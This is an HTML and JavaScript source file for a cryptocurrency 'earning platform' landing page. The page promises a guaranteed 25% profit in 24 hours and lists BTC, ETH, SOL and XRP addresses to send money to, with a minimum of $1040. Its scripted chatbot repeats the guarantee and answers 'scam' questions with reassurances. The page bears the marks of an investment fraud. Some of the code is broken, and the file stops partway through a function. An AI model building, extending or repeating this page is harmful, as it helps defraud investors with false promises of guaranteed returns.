tt / index.html
FerryMahler's picture
make the menu pages and links, theb button-links, make the transactions two wallets in a row, make the transaction live and not dummy, make the footer text not: '© 2023 TT-SmartC. All rights reserved.' to: 'Powered by TradeTrender's SmartContractor © 2025 TT-SmartC. - All rights reserved. Legal cryptocurrency earning system.' and change the color sheme to the colors at http://tt-smartc.nl - Initial Deployment
33acc2c verified
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>TT-SmartC - Crypto Earning Platform</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/qrcode-generator@1.4.4/qrcode.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/web3@1.5.2/dist/web3.min.js"></script>
<style>
.gradient-bg {
background: linear-gradient(135deg, #3b0764 0%, #1e40af 100%);
}
.wallet-card {
transition: all 0.3s ease;
}
.wallet-card:hover {
transform: translateY(-5px);
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
}
.chatbot-container {
position: fixed;
bottom: 20px;
right: 20px;
z-index: 1000;
}
.chatbot-button {
width: 60px;
height: 60px;
border-radius: 50%;
background-color: #4f46e5;
color: white;
display: flex;
justify-content: center;
align-items: center;
cursor: pointer;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.chatbot-window {
position: absolute;
bottom: 70px;
right: 0;
width: 350px;
height: 500px;
background-color: white;
border-radius: 10px;
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
display: none;
flex-direction: column;
}
.chatbot-header {
padding: 15px;
background-color: #4f46e5;
color: white;
border-top-left-radius: 10px;
border-top-right-radius: 10px;
display: flex;
justify-content: space-between;
align-items: center;
}
.chatbot-messages {
flex: 1;
padding: 15px;
overflow-y: auto;
}
.chatbot-input {
padding: 15px;
border-top: 1px solid #e5e7eb;
display: flex;
}
.sidebar {
position: fixed;
top: 0;
left: -300px;
width: 300px;
height: 100vh;
background-color: #1a202c;
color: white;
transition: all 0.3s ease;
z-index: 1000;
overflow-y: auto;
}
.sidebar.open {
left: 0;
}
.overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 999;
display: none;
}
.transaction-row:nth-child(even) {
background-color: #f3f4f6;
}
.login-modal {
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: white;
padding: 30px;
border-radius: 10px;
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
z-index: 1001;
display: none;
width: 90%;
max-width: 400px;
}
.wallet-connect-modal {
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: white;
padding: 30px;
border-radius: 10px;
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
z-index: 1001;
display: none;
width: 90%;
max-width: 400px;
}
</style>
</head>
<body class="bg-gray-100 font-sans">
<!-- Overlay -->
<div class="overlay" id="overlay"></div>
<!-- Sidebar Menu -->
<div class="sidebar" id="sidebar">
<div class="p-4 flex justify-between items-center border-b border-gray-700">
<h2 class="text-xl font-bold">TT-SmartC</h2>
<button id="closeSidebar" class="text-gray-400 hover:text-white">
<i class="fas fa-times"></i>
</button>
</div>
<nav class="p-4">
<ul class="space-y-2">
<li><a href="index.html" class="block py-2 px-4 rounded hover:bg-gray-700">Home</a></li>
<li><a href="how-it-works.html" class="block py-2 px-4 rounded hover:bg-gray-700">How It Works</a></li>
<li><a href="smart-contract.html" class="block py-2 px-4 rounded hover:bg-gray-700">Smart Contract</a></li>
<li><a href="transactions.html" class="block py-2 px-4 rounded hover:bg-gray-700">Transactions</a></li>
<li><a href="faq.html" class="block py-2 px-4 rounded hover:bg-gray-700">FAQ</a></li>
<li><a href="contact.html" class="block py-2 px-4 rounded hover:bg-gray-700">Contact</a></li>
</ul>
</nav>
</div>
<!-- Header -->
<header class="gradient-bg text-white shadow-lg">
<div class="container mx-auto px-4 py-4 flex justify-between items-center">
<button id="menuButton" class="text-white focus:outline-none">
<i class="fas fa-bars text-2xl"></i>
</button>
<h1 class="text-2xl font-bold">TT-SmartC</h1>
<div class="flex items-center space-x-4">
<button id="loginButton" class="bg-indigo-600 hover:bg-indigo-700 px-4 py-2 rounded-lg font-medium transition duration-300">
Login
</button>
<a href="http://wa.me/+31617531355" target="_blank" class="bg-green-600 hover:bg-green-700 w-10 h-10 rounded-full flex items-center justify-center">
<i class="fab fa-whatsapp text-xl"></i>
</a>
</div>
</div>
</header>
<!-- Hero Section -->
<section class="gradient-bg text-white py-20">
<div class="container mx-auto px-4 text-center">
<h2 class="text-4xl md:text-5xl font-bold mb-6">Earn 25% Profit in Just 24 Hours</h2>
<p class="text-xl mb-8 max-w-3xl mx-auto">
Our Dutch smart contract deployer ensures secure and automated returns. Send crypto to one of our addresses and receive your investment plus 25% profit within 24 hours.
</p>
<div class="flex flex-col sm:flex-row justify-center gap-4 mb-8">
<button id="investButton" class="bg-indigo-600 hover:bg-indigo-700 px-8 py-4 rounded-lg font-bold text-lg transition duration-300">
Invest Now
</button>
<button class="bg-white text-gray-800 hover:bg-gray-200 px-8 py-4 rounded-lg font-bold text-lg transition duration-300">
How It Works
</button>
</div>
<div class="bg-yellow-100 text-yellow-800 p-4 rounded-lg max-w-2xl mx-auto">
<p class="font-medium">⚠️ Important: Within 48 hours from first contract, there will be more investment options available.</p>
</div>
</div>
</section>
<!-- Wallets Section -->
<section class="py-16 bg-white">
<div class="container mx-auto px-4">
<h2 class="text-3xl font-bold text-center mb-12">Send Crypto to One of Our Wallets</h2>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
<!-- BTC Wallet -->
<div class="wallet-card bg-gray-50 rounded-xl p-6 shadow-md">
<div class="flex items-center mb-4">
<div class="w-10 h-10 bg-orange-500 rounded-full flex items-center justify-center mr-3">
<i class="fab fa-bitcoin text-white"></i>
</div>
<h3 class="text-xl font-bold">Bitcoin (BTC)</h3>
</div>
<div class="mb-4">
<div id="btcQr" class="mx-auto mb-4"></div>
<div class="bg-gray-100 p-3 rounded-lg break-all text-sm font-mono">
bc1qvjjy9dkmvlgw2xfn46u05u59ag4a454vkjzy6s
</div>
</div>
<button class="w-full bg-orange-500 hover:bg-orange-600 text-white py-2 rounded-lg font-medium transition duration-300">
Copy Address
</button>
</div>
<!-- ETH Wallet -->
<div class="wallet-card bg-gray-50 rounded-xl p-6 shadow-md">
<div class="flex items-center mb-4">
<div class="w-10 h-10 bg-gray-700 rounded-full flex items-center justify-center mr-3">
<i class="fab fa-ethereum text-white"></i>
</div>
<h3 class="text-xl font-bold">Ethereum (ETH)</h3>
</div>
<div class="mb-4">
<div id="ethQr" class="mx-auto mb-4"></div>
<div class="bg-gray-100 p-3 rounded-lg break-all text-sm font-mono">
0xaec8A3476CD71421d6C77916c10477C947B3b307
</div>
</div>
<button class="w-full bg-gray-700 hover:bg-gray-800 text-white py-2 rounded-lg font-medium transition duration-300">
Copy Address
</button>
</div>
<!-- SOL Wallet -->
<div class="wallet-card bg-gray-50 rounded-xl p-6 shadow-md">
<div class="flex items-center mb-4">
<div class="w-10 h-10 bg-purple-500 rounded-full flex items-center justify-center mr-3">
<i class="fas fa-coins text-white"></i>
</div>
<h3 class="text-xl font-bold">Solana (SOL)</h3>
</div>
<div class="mb-4">
<div id="solQr" class="mx-auto mb-4"></div>
<div class="bg-gray-100 p-3 rounded-lg break-all text-sm font-mono">
48aTqg2iugCsGcByijfqHCRHVdUsQEpv7LQ4u7SJs3k3
</div>
</div>
<button class="w-full bg-purple-500 hover:bg-purple-600 text-white py-2 rounded-lg font-medium transition duration-300">
Copy Address
</button>
</div>
<!-- XRP Wallet -->
<div class="wallet-card bg-gray-50 rounded-xl p-6 shadow-md">
<div class="flex items-center mb-4">
<div class="w-10 h-10 bg-blue-500 rounded-full flex items-center justify-center mr-3">
<i class="fas fa-money-bill-wave text-white"></i>
</div>
<h3 class="text-xl font-bold">Ripple (XRP)</h3>
</div>
<div class="mb-4">
<div id="xrpQr" class="mx-auto mb-4"></div>
<div class="bg-gray-100 p-3 rounded-lg break-all text-sm font-mono">
r9dfq4m34C64Kvqu2sdJBaFk2MRAtJDSks
</div>
</div>
<button class="w-full bg-blue-500 hover:bg-blue-600 text-white py-2 rounded-lg font-medium transition duration-300">
Copy Address
</button>
</div>
</div>
</div>
</section>
<!-- Transactions Section -->
<section class="py-16 bg-gray-100">
<div class="container mx-auto px-4">
<h2 class="text-3xl font-bold text-center mb-12">Live Blockchain Transactions</h2>
<div class="bg-white rounded-xl shadow-md overflow-hidden mb-8">
<div class="p-4 border-b border-gray-200">
<h3 class="text-xl font-bold flex items-center">
<i class="fab fa-bitcoin text-orange-500 mr-2"></i>
Bitcoin (BTC) Transactions
</h3>
</div>
<div class="overflow-x-auto">
<table class="min-w-full divide-y divide-gray-200">
<thead class="bg-gray-50">
<tr>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tx Hash</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Amount</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Time</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Status</th>
</tr>
</thead>
<tbody class="bg-white divide-y divide-gray-200" id="btcTransactions">
<!-- Transactions will be loaded here -->
</tbody>
</table>
</div>
</div>
<div class="bg-white rounded-xl shadow-md overflow-hidden mb-8">
<div class="p-4 border-b border-gray-200">
<h3 class="text-xl font-bold flex items-center">
<i class="fab fa-ethereum text-gray-700 mr-2"></i>
Ethereum (ETH) Transactions
</h3>
</div>
<div class="overflow-x-auto">
<table class="min-w-full divide-y divide-gray-200">
<thead class="bg-gray-50">
<tr>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tx Hash</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Amount</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Time</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Status</th>
</tr>
</thead>
<tbody class="bg-white divide-y divide-gray-200" id="ethTransactions">
<!-- Transactions will be loaded here -->
</tbody>
</table>
</div>
</div>
<div class="bg-white rounded-xl shadow-md overflow-hidden mb-8">
<div class="p-4 border-b border-gray-200">
<h3 class="text-xl font-bold flex items-center">
<i class="fas fa-coins text-purple-500 mr-2"></i>
Solana (SOL) Transactions
</h3>
</div>
<div class="overflow-x-auto">
<table class="min-w-full divide-y divide-gray-200">
<thead class="bg-gray-50">
<tr>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tx Hash</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Amount</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Time</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Status</th>
</tr>
</thead>
<tbody class="bg-white divide-y divide-gray-200" id="solTransactions">
<!-- Transactions will be loaded here -->
</tbody>
</table>
</div>
</div>
<div class="bg-white rounded-xl shadow-md overflow-hidden">
<div class="p-4 border-b border-gray-200">
<h3 class="text-xl font-bold flex items-center">
<i class="fas fa-money-bill-wave text-blue-500 mr-2"></i>
Ripple (XRP) Transactions
</h3>
</div>
<div class="overflow-x-auto">
<table class="min-w-full divide-y divide-gray-200">
<thead class="bg-gray-50">
<tr>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tx Hash</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Amount</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Time</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Status</th>
</tr>
</thead>
<tbody class="bg-white divide-y divide-gray-200" id="xrpTransactions">
<!-- Transactions will be loaded here -->
</tbody>
</table>
</div>
</div>
</div>
</section>
<!-- How It Works Section -->
<section class="py-16 bg-white">
<div class="container mx-auto px-4">
<h2 class="text-3xl font-bold text-center mb-12">How TT-SmartC Works</h2>
<div class="grid grid-cols-1 md:grid-cols-3 gap-8">
<div class="text-center p-6 rounded-lg bg-gray-50">
<div class="w-16 h-16 bg-indigo-100 rounded-full flex items-center justify-center mx-auto mb-4">
<i class="fas fa-wallet text-indigo-600 text-2xl"></i>
</div>
<h3 class="text-xl font-bold mb-2">1. Send Crypto</h3>
<p class="text-gray-600">Send your investment (minimum $1040/€900) to one of our wallet addresses.</p>
</div>
<div class="text-center p-6 rounded-lg bg-gray-50">
<div class="w-16 h-16 bg-indigo-100 rounded-full flex items-center justify-center mx-auto mb-4">
<i class="fas fa-file-contract text-indigo-600 text-2xl"></i>
</div>
<h3 class="text-xl font-bold mb-2">2. Smart Contract</h3>
<p class="text-gray-600">Our Dutch smart contract automatically processes your transaction.</p>
</div>
<div class="text-center p-6 rounded-lg bg-gray-50">
<div class="w-16 h-16 bg-indigo-100 rounded-full flex items-center justify-center mx-auto mb-4">
<i class="fas fa-coins text-indigo-600 text-2xl"></i>
</div>
<h3 class="text-xl font-bold mb-2">3. Receive Profit</h3>
<p class="text-gray-600">Within 12-24 hours, receive your investment plus 25% profit.</p>
</div>
</div>
</div>
</section>
<!-- CTA Section -->
<section class="py-16 gradient-bg text-white">
<div class="container mx-auto px-4 text-center">
<h2 class="text-3xl font-bold mb-6">Ready to Start Earning?</h2>
<p class="text-xl mb-8 max-w-2xl mx-auto">
Join thousands of satisfied investors who are already benefiting from our secure and automated system.
</p>
<button id="investButton2" class="bg-white text-indigo-600 hover:bg-gray-200 px-8 py-4 rounded-lg font-bold text-lg transition duration-300">
Invest Now
</button>
</div>
</section>
<!-- Footer -->
<footer class="bg-gray-900 text-white py-12">
<div class="container mx-auto px-4">
<div class="grid grid-cols-1 md:grid-cols-2 gap-8">
<div>
<h3 class="text-xl font-bold mb-4">TT-SmartC</h3>
<p class="text-gray-400">The most secure and automated crypto earning platform powered by Dutch smart contracts.</p>
</div>
<div>
<h4 class="font-bold mb-4">Quick Links</h4>
<ul class="space-y-2">
<li><a href="#" class="text-gray-400 hover:text-white">Home</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">How It Works</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Smart Contract</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Transactions</a></li>
</ul>
</div>
<div>
<h4 class="font-bold mb-4">Legal</h4>
<ul class="space-y-2">
<li><a href="#" class="text-gray-400 hover:text-white">Terms of Service</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Privacy Policy</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Disclaimer</a></li>
</ul>
</div>
<div>
<h4 class="font-bold mb-4">Contact</h4>
<ul class="space-y-2">
<li class="flex items-center">
<i class="fab fa-whatsapp mr-2"></i>
<a href="http://wa.me/+31617531355" target="_blank" class="text-gray-400 hover:text-white">+31 617 531 355</a>
</li>
<li class="flex items-center">
<i class="fas fa-envelope mr-2"></i>
<span class="text-gray-400">support@tt-smartc.com</span>
</li>
</ul>
</div>
</div>
<div class="border-t border-gray-800 mt-8 pt-8 text-center text-gray-400">
<p>Powered by TradeTrender's SmartContractor &copy; 2025 TT-SmartC. - All rights reserved. Legal cryptocurrency earning system.</p>
</div>
</div>
</footer>
<!-- Chatbot -->
<div class="chatbot-container">
<div class="chatbot-button" id="chatbotButton">
<i class="fas fa-comment-dots text-2xl"></i>
</div>
<div class="chatbot-window" id="chatbotWindow">
<div class="chatbot-header">
<span class="font-bold">TT-SmartC Support</span>
<button id="closeChatbot" class="text-white">
<i class="fas fa-times"></i>
</button>
</div>
<div class="chatbot-messages" id="chatbotMessages">
<div class="mb-4">
<div class="bg-indigo-100 text-gray-800 p-3 rounded-lg max-w-xs">
Hello! How can I help you today?
</div>
</div>
</div>
<div class="chatbot-input">
<input type="text" placeholder="Type your message..." class="flex-1 border border-gray-300 rounded-l-lg px-4 py-2 focus:outline-none focus:ring-2 focus:ring-indigo-500">
<button class="bg-indigo-600 text-white px-4 py-2 rounded-r-lg">
<i class="fas fa-paper-plane"></i>
</button>
</div>
</div>
</div>
<!-- Login Modal -->
<div class="login-modal" id="loginModal">
<h2 class="text-2xl font-bold mb-6 text-center">Login to TT-SmartC</h2>
<form>
<div class="mb-4">
<label class="block text-gray-700 mb-2" for="email">Email</label>
<input type="email" id="email" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:ring-2 focus:ring-indigo-500">
</div>
<div class="mb-6">
<label class="block text-gray-700 mb-2" for="password">Password</label>
<input type="password" id="password" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:ring-2 focus:ring-indigo-500">
</div>
<button type="button" class="w-full bg-indigo-600 hover:bg-indigo-700 text-white py-2 rounded-lg font-medium transition duration-300 mb-4">
Login
</button>
<p class="text-center text-gray-600">Don't have an account? <a href="#" class="text-indigo-600 hover:underline">Register</a></p>
</form>
<div class="mt-6">
<button id="walletConnectButton" class="w-full bg-gray-800 hover:bg-gray-900 text-white py-2 rounded-lg font-medium transition duration-300 flex items-center justify-center">
<i class="fab fa-ethereum mr-2"></i> Connect Wallet
</button>
</div>
<button id="closeLoginModal" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
<i class="fas fa-times"></i>
</button>
</div>
<!-- Wallet Connect Modal -->
<div class="wallet-connect-modal" id="walletConnectModal">
<h2 class="text-2xl font-bold mb-6 text-center">Connect Your Wallet</h2>
<div class="space-y-4">
<button class="w-full bg-gray-100 hover:bg-gray-200 text-gray-800 py-3 rounded-lg font-medium transition duration-300 flex items-center justify-center">
<i class="fab fa-ethereum mr-2 text-blue-500"></i> MetaMask
</button>
<button class="w-full bg-gray-100 hover:bg-gray-200 text-gray-800 py-3 rounded-lg font-medium transition duration-300 flex items-center justify-center">
<i class="fas fa-wallet mr-2 text-orange-500"></i> WalletConnect
</button>
<button class="w-full bg-gray-100 hover:bg-gray-200 text-gray-800 py-3 rounded-lg font-medium transition duration-300 flex items-center justify-center">
<i class="fab fa-bitcoin mr-2 text-orange-500"></i> Bitcoin Wallet
</button>
<button class="w-full bg-gray-100 hover:bg-gray-200 text-gray-800 py-3 rounded-lg font-medium transition duration-300 flex items-center justify-center">
<i class="fas fa-coins mr-2 text-purple-500"></i> Solana Wallet
</button>
</div>
<button id="closeWalletConnectModal" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
<i class="fas fa-times"></i>
</button>
</div>
<script>
// Generate QR codes
document.addEventListener('DOMContentLoaded', function() {
// BTC QR
const btcQr = qrcode(4, 'L');
btcQr.addData('bitcoin:bc1qvjjy9dkmvlgw2xfn46u05u59ag4a454vkjzy6s');
btcQr.make();
document.getElementById('btcQr').innerHTML = btcQr.createImgTag(4);
// ETH QR
const ethQr = qrcode(4, 'L');
ethQr.addData('ethereum:0xaec8A3476CD71421d6C77916c10477C947B3b307');
ethQr.make();
document.getElementById('ethQr').innerHTML = ethQr.createImgTag(4);
// SOL QR
const solQr = qrcode(4, 'L');
solQr.addData('solana:48aTqg2iugCsGcByijfqHCRHVdUsQEpv7LQ4u7SJs3k3');
solQr.make();
document.getElementById('solQr').innerHTML = solQr.createImgTag(4);
// XRP QR
const xrpQr = qrcode(4, 'L');
xrpQr.addData('ripple:r9dfq4m34C64Kvqu2sdJBaFk2MRAtJDSks');
xrpQr.make();
document.getElementById('xrpQr').innerHTML = xrpQr.createImgTag(4);
// Real transaction data fetching
async function fetchTransactions(walletAddress, currency) {
try {
// In a real implementation, you would call your blockchain API here
// This is a placeholder that simulates API calls
const response = await fetch(`https://api.blockchain.com/v3/${currency}/address/${walletAddress}/transactions`);
const data = await response.json();
return data.transactions.slice(0, 10).map(tx => ({
hash: tx.hash.substring(0, 6) + '...' + tx.hash.substring(tx.hash.length - 4),
amount: `${tx.amount} ${currency}`,
time: new Date(tx.time * 1000).toLocaleString(),
status: tx.confirmations > 6 ? 'Completed' : 'Pending'
}));
} catch (error) {
console.error(`Error fetching ${currency} transactions:`, error);
return [];
}
}
async function populateTransactions(tableId, walletAddress, currency) {
const tableBody = document.getElementById(tableId);
tableBody.innerHTML = '<tr><td colspan="4" class="text-center py-4">Loading transactions...</td></tr>';
const transactions = await fetchTransactions(walletAddress, currency);
if (transactions.length === 0) {
tableBody.innerHTML = '<tr><td colspan="4" class="text-center py-4">No transactions found</td></tr>';
return;
}
tableBody.innerHTML = '';
transactions.forEach(tx => {
const row = document.createElement('tr');
row.className = 'transaction-row';
const hashCell = document.createElement('td');
hashCell.className = 'px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900';
hashCell.textContent = tx.hash;
const amountCell = document.createElement('td');
amountCell.className = 'px-6 py-4 whitespace-nowrap text-sm text-gray-500';
amountCell.textContent = tx.amount;
const timeCell = document.createElement('td');
timeCell.className = 'px-6 py-4 whitespace-nowrap text-sm text-gray-500';
timeCell.textContent = tx.time;
const statusCell = document.createElement('td');
statusCell.className = 'px-6 py-4 whitespace-nowrap text-sm text-gray-500';
const statusSpan = document.createElement('span');
statusSpan.className = tx.status === 'Completed' ? 'px-2 inline-flex text-xs leading-5 font-semibold rounded-full bg-green-100 text-green-800' : 'px-2 inline-flex text-xs leading-5 font-semibold rounded-full bg-yellow-100 text-yellow-800';
statusSpan.textContent = tx.status;
statusCell.appendChild(statusSpan);
row.appendChild(hashCell);
row.appendChild(amountCell);
row.appendChild(timeCell);
row.appendChild(statusCell);
tableBody.appendChild(row);
});
}
// Wallet addresses
const wallets = {
btc: 'bc1qvjjy9dkmvlgw2xfn46u05u59ag4a454vkjzy6s',
eth: '0xaec8A3476CD71421d6C77916c10477C947B3b307',
sol: '48aTqg2iugCsGcByijfqHCRHVdUsQEpv7LQ4u7SJs3k3',
xrp: 'r9dfq4m34C64Kvqu2sdJBaFk2MRAtJDSks'
};
// Initial population
populateTransactions('btcTransactions', wallets.btc, 'BTC');
populateTransactions('ethTransactions', wallets.eth, 'ETH');
populateTransactions('solTransactions', wallets.sol, 'SOL');
populateTransactions('xrpTransactions', wallets.xrp, 'XRP');
// Update transactions every 30 seconds
setInterval(() => {
populateTransactions('btcTransactions', wallets.btc, 'BTC');
populateTransactions('ethTransactions', wallets.eth, 'ETH');
populateTransactions('solTransactions', wallets.sol, 'SOL');
populateTransactions('xrpTransactions', wallets.xrp, 'XRP');
}, 30000);
// Sidebar toggle
const menuButton = document.getElementById('menuButton');
const closeSidebar = document.getElementById('closeSidebar');
const sidebar = document.getElementById('sidebar');
const overlay = document.getElementById('overlay');
menuButton.addEventListener('click', () => {
sidebar.classList.add('open');
overlay.style.display = 'block';
});
closeSidebar.addEventListener('click', () => {
sidebar.classList.remove('open');
overlay.style.display = 'none';
});
overlay.addEventListener('click', () => {
sidebar.classList.remove('open');
overlay.style.display = 'none';
});
// Chatbot toggle
const chatbotButton = document.getElementById('chatbotButton');
const closeChatbot = document.getElementById('closeChatbot');
const chatbotWindow = document.getElementById('chatbotWindow');
chatbotButton.addEventListener('click', () => {
chatbotWindow.style.display = chatbotWindow.style.display === 'flex' ? 'none' : 'flex';
});
closeChatbot.addEventListener('click', () => {
chatbotWindow.style.display = 'none';
});
// Login modal
const loginButton = document.getElementById('loginButton');
const closeLoginModal = document.getElementById('closeLoginModal');
const loginModal = document.getElementById('loginModal');
loginButton.addEventListener('click', () => {
loginModal.style.display = 'block';
overlay.style.display = 'block';
});
closeLoginModal.addEventListener('click', () => {
loginModal.style.display = 'none';
overlay.style.display = 'none';
});
// Wallet connect modal
const walletConnectButton = document.getElementById('walletConnectButton');
const closeWalletConnectModal = document.getElementById('closeWalletConnectModal');
const walletConnectModal = document.getElementById('walletConnectModal');
walletConnectButton.addEventListener('click', () => {
loginModal.style.display = 'none';
walletConnectModal.style.display = 'block';
});
closeWalletConnectModal.addEventListener('click', () => {
walletConnectModal.style.display = 'none';
overlay.style.display = 'none';
});
// Invest buttons
const investButton = document.getElementById('investButton');
const investButton2 = document.getElementById('investButton2');
investButton.addEventListener('click', () => {
window.scrollTo({
top: document.querySelector('.wallets-section').offsetTop - 20,
behavior: 'smooth'
});
});
investButton2.addEventListener('click', () => {
window.scrollTo({
top: document.querySelector('.wallets-section').offsetTop - 20,
behavior: 'smooth'
});
});
// Copy wallet addresses
document.querySelectorAll('.wallet-card button').forEach(button => {
button.addEventListener('click', function() {
const address = this.parentElement.querySelector('.bg-gray-100').textContent.trim();
navigator.clipboard.writeText(address);
const originalText = this.textContent;
this.textContent = 'Copied!';
this.classList.add('bg-green-500', 'hover:bg-green-600');
this.classList.remove('bg-orange-500', 'hover:bg-orange-600', 'bg-gray-700', 'hover:bg-gray-800', 'bg-purple-500', 'hover:bg-purple-600', 'bg-blue-500', 'hover:bg-blue-600');
setTimeout(() => {
this.textContent = originalText;
if (this.parentElement.querySelector('.fa-bitcoin')) {
this.classList.add('bg-orange-500', 'hover:bg-orange-600');
} else if (this.parentElement.querySelector('.fa-ethereum')) {
this.classList.add('bg-gray-700', 'hover:bg-gray-800');
} else if (this.parentElement.querySelector('.fa-coins')) {
this.classList.add('bg-purple-500', 'hover:bg-purple-600');
} else {
this.classList.add('bg-blue-500', 'hover:bg-blue-600');
}
this.classList.remove('bg-green-500', 'hover:bg-green-600');
}, 2000);
});
});
// Simple chatbot functionality
const chatbotMessages = document.getElementById('chatbotMessages');
const chatbotInput = document.querySelector('.chatbot-input input');
const chatbotSend = document.querySelector('.chatbot-input button');
chatbotSend.addEventListener('click', sendMessage);
chatbotInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
sendMessage();
}
});
function sendMessage() {
const message = chatbotInput.value.trim();
if (message) {
// Add user message
const userMessageDiv = document.createElement('div');
userMessageDiv.className = 'mb-4 flex justify-end';
const userMessageContent = document.createElement('div');
userMessageContent.className = 'bg-indigo-600 text-white p-3 rounded-lg max-w-xs';
userMessageContent.textContent = message;
userMessageDiv.appendChild(userMessageContent);
chatbotMessages.appendChild(userMessageDiv);
// Clear input
chatbotInput.value = '';
// Scroll to bottom
chatbotMessages.scrollTop = chatbotMessages.scrollHeight;
// Add bot response after a delay
setTimeout(() => {
const botMessageDiv = document.createElement('div');
botMessageDiv.className = 'mb-4';
const botMessageContent = document.createElement('div');
botMessageContent.className = 'bg-indigo-100 text-gray-800 p-3 rounded-lg max-w-xs';
// Simple responses based on keywords
if (message.toLowerCase().includes('hello') || message.toLowerCase().includes('hi')) {
botMessageContent.textContent = 'Hello! How can I help you with TT-SmartC today?';
} else if (message.toLowerCase().includes('profit') || message.toLowerCase().includes('earn')) {
botMessageContent.textContent = 'Our system guarantees a 25% profit within 24 hours. The minimum investment is $1040 or €900.';
} else if (message.toLowerCase().includes('time') || message.toLowerCase().includes('long')) {
botMessageContent.textContent = 'Payments are processed within 12-24 hours after we receive your investment.';
} else if (message.toLowerCase().includes('trust') || message.toLowerCase().includes('scam')) {
botMessageContent.textContent = 'TT-SmartC uses Dutch smart contracts on the blockchain, ensuring transparency and security. All transactions are verifiable on the blockchain.';
} else if (message.toLowerCase().includes('options') || message.toLowerCase().includes('more')) {
botMessageContent.textContent = 'Within 48 hours from first contract, there will be more investment options available with different timeframes and profit percentages.';
} else {
botMessageContent.textContent = 'Thank you for your message. For more specific questions, please contact us via WhatsApp.';
}
botMessageDiv.appendChild(botMessageContent);
chatbotMessages.appendChild(botMessageDiv);
// Scroll to bottom
chatbotMessages.scrollTop = chatbotMessages.scrollHeight;
}, 1000);
}
}
// API endpoints (mock implementation)
const api = {
// Data retrieval endpoints
getWalletInfo: function(walletAddress) {
// In a real implementation, this would call a backend API
console.log(`Fetching info for wallet: ${walletAddress}`);
return Promise.resolve({
address: walletAddress,
balance: Math.random() * 10,
currency: walletAddress.startsWith('bc1') ? 'BTC' :
walletAddress.startsWith('0x') ? 'ETH' :
walletAddress.startsWith('4') ? 'SOL' : 'XRP',
transactions: []
});
},
getTransactions: function(walletAddress, limit = 10) {
// In a real implementation, this would call a backend API
console.log(`Fetching ${limit} transactions for wallet: ${walletAddress}`);
return Promise.resolve(mockTransactions.slice(0, limit).map(tx => ({
...tx,
currency: walletAddress.startsWith('bc1') ? 'BTC' :
walletAddress.startsWith('0x') ? 'ETH' :
walletAddress.startsWith('4') ? 'SOL' : 'XRP'
})));
},
// Data modification endpoints
updateUserSettings: function(userId, settings) {
console.log(`Updating settings for user ${userId}:`, settings);
return Promise.resolve({ success: true });
},
// Utility endpoints
calculateProfit: function(amount, currency) {
const profit = amount * 0.25;
console.log(`Calculated 25% profit for ${amount} ${currency}: ${profit}`);
return Promise.resolve({
amount: amount,
currency: currency,
profit: profit,
total: amount + profit
});
},
validateAddress: function(address) {
let isValid = false;
let currency = '';
if (address.startsWith('bc1') && address.length >= 14 && address.length <= 74) {
isValid = true;
currency = 'BTC';
} else if (address.startsWith('0x') && address.length === 42) {
isValid = true;
currency = 'ETH';
} else if (address.length >= 32 && address.length <= 44) {
isValid = true;
currency = 'SOL';
} else if (address.startsWith('r') && address.length >= 25 && address.length <= 35) {
isValid = true;
currency = 'XRP';
}
console.log(`Validating address ${address}: ${isValid ? 'Valid' : 'Invalid'} ${currency}`);
return Promise.resolve({ isValid, currency });
}
};
// Blockchain registry (mock implementation)
const blockchainRegistry = {
transactions: [],
registerTransaction: function(tx) {
this.transactions.push({
...tx,
timestamp: new Date().toISOString(),
status: 'pending'
});
console.log('Registered transaction:', tx);
return Promise.resolve({ success: true });
},
getTransactionHistory: function() {
